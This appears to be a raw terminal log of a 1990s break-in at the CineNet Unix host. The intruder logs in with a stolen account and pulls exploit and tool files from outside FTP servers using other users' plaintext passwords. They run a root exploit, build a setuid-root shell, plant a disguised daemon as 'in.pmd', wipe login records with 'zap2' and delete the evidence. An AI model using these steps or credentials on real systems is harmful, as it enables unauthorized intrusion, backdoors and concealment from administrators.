tin 1.2 PL1 [UNIX] (c) Copyright 1991-93 Iain Lea.
Reading news active file...
Subscribe to new group Alt.Karen (y/n/q) [n]: q
Reading attributes file...
Reading newsgroups file...
 
 [read alt.2600 and searched for "itn" and "ommy"]

$ ./test1
./test1> open hollywood.cinenet.net 5553
Trying 198.147.76.65 ...
telnet: connect: Connection refused
./test1> open hollywood.cinenet.net
Trying 198.147.76.65 ...
Connected to hollywood.cinenet.net.
Escape character is '^]'.

UNIX(r) System V Release 4.0 (hollywood.cinenet.net)

login: jamesb
Password: fucknmc
                         Welcome to CineNet

-- We had some system problems between 250pm-420pm 2/10; and logins
   were affected.  We apologize for the inconvenience.

--  System will be down bet 8:30-9:15AM on Sunday for maintenance.

--  More lines have been.  Please let us know if you do get busy signals.

- SLIP/PPP is available.  Please contact support for details.

- Cinenet.general newsgroup contains some useful info.

If you have any questions, please email "support"
***********************************************************************
You have mail.
Default terminal type is vt100
If you have an alternative terminal type enter at prompt else hit return
TERM = (vt100)
Setting terminal type to vt100

                        CineNet Navigator V1.1

      1. Today's login message
      2. CineNet Info         
      3. Mail              (elm)
      4. Usenet Newsgroups (tin)
      5. Gopher            (gopher)
      6. CineNet's World Wide Web page (lynx - WWW Browser)
 -->  7. Unix Shell        (csh)
      8. LOGOUT                 

Commands: j = move down, k = move up, <CR> = execute command, q = logout

Type exit to return to menu

cinenet > w
 12:35am  up  8:22,  5 users,  load average: 0.47, 0.54, 0.71
User     tty           login@  idle   JCPU   PCPU  what
tseliot  pts/1        12:34am                      /bin/csh
jet      pts/3        11:53pm           21     19  /usr/local/bin/tin
speaker  pts/0        10:17pm     1     44      9  tin
siamak   pts/6        12:09am           31     30  trn
jamesb   pts/2        12:35am                      w
cinenet > last sjs

wtmp begins Sat Feb 11 00:16 
cinenet > sh
$ ftp
ftp> open hacktic.nl
Connected to hacktic.nl.
220 xs1 FTP server (Version wu-2.4(1) Sat Apr 23 19:09:10 MET DST 1994) ready.
Name (hacktic.nl:jamesb): martin
331 Password required for martin.
Password: oki,900
230 User martin logged in.
ftp> get 1.Z
200 PORT command successful.
150 Opening ASCII mode data connection for 1.Z (3533 bytes).
226 Transfer complete.
local: 1.Z remote: 1.Z
3603 bytes received in 0.83 seconds (4.3 Kbytes/s)
ftp> close
221 Goodbye.
ftp> open well.sf.ca.us
Connected to well.sf.ca.us.
220 well FTP server (UNIX(r) System V Release 4.0) ready.
Name (well.sf.ca.us:jamesb): dono
331 Password required for dono.
Password: fucknmc
230 User dono logged in.
ftp> bin
200 Type set to I.
ftp> get sportd
200 PORT command successful.
150 Binary data connection for sportd (198.147.76.65,47263) (15292 bytes).
226 Binary Transfer complete.
local: sportd remote: sportd
15292 bytes received in 0.37 seconds (40 Kbytes/s)
ftp> get zap2
200 PORT command successful.
150 Binary data connection for zap2 (198.147.76.65,47266) (10112 bytes).
226 Binary Transfer complete.
local: zap2 remote: zap2
10112 bytes received in 0.35 seconds (28 Kbytes/s)
ftp> quit
221 Goodbye.
$ chmod 777 zap2 sportd
$ mv sportd in.pmd
$ uncompress 1
1.Z: not in compressed format
$ uudecode 1.Z
$ uncompress 1
$ chmod 700 1
$ ./1
$ rm 1
$ id
uid=2088(jamesb) gid=20(user) euid=0(root) egid=0(root)
$ cd /
$ ed c.c
a
main () {setuid(0);
execl("/bin/sh", "sh", 0);}
.
w
q49
cc c.c
?

w
49

q
$ cc c.c
/usr/ucb/cc:  language optional software package not installed
$ gcc c.c
$ chmod 4755 a.out
$ rm c.c
rm: c.c: override protection 644 (y/n)? y
$ ./a.out
# cd
# pwd
/usr/people/jamesb
# ls
Mail    News    in.pmd  zap2
# csh
cinenet > env - in.pmd
cinenet > ./zap2 jamesb
Zap2!
cinenet > rm in.pmd zap2
rm: remove in.pmd (y/n)? y
rm: remove zap2 (y/n)? y
cinenet > ls -tla
total 140
drwx------   6 jamesb   user         512 Feb 11 00:37 ./
drwxr-xr-x 215 root     user        4096 Feb 10 16:22 ../
drwxr-xr-x   4 jamesb   user         512 Jan 27 23:23 .tin/
drwx------   2 jamesb   user         512 Aug 10  1994 .elm/
-rw-r--r--   1 jamesb   user           0 Aug  9  1994 .gopherrc
-rw-r--r--   1 jamesb   user       60185 Aug  9  1994 .newsrc
drwxr-xr-x   2 jamesb   user         512 Aug  9  1994 News/
drwxr-xr-x   2 jamesb   user         512 Aug  9  1994 Mail/
-rwxr--r--   1 jamesb   user          57 Aug  4  1994 .cshrc*
-rwxr--r--   1 jamesb   user          57 Aug  4  1994 .login*
cinenet > cd /
cinenet > rm c.c a.out
c.c: No such file or directory
rm: remove a.out (y/n)? y
cinenet > ^D
# ^D
./test1> quit
Connection closed.
$ ./test1
./test1> open hollywood.cinenet.net 553
Trying 198.147.76.65 ...
telnet: connect: Connection refused
./test1> open 198.147.76.65 5553
Trying 198.147.76.65 ...
telnet: connect: Connection refused
./test1> open hollywood.cinenet.net 5553
Trying 198.147.76.65 ...
telnet: connect: Connection refused
./test1> open hollywood.cinenet.net 5553
Trying 198.147.76.65 ...
telnet: connect: Connection refused
./test1> open hollywood.cinenet.net 5555
Trying 198.147.76.65 ...
telnet: connect: Connection refused
./test1> quit
$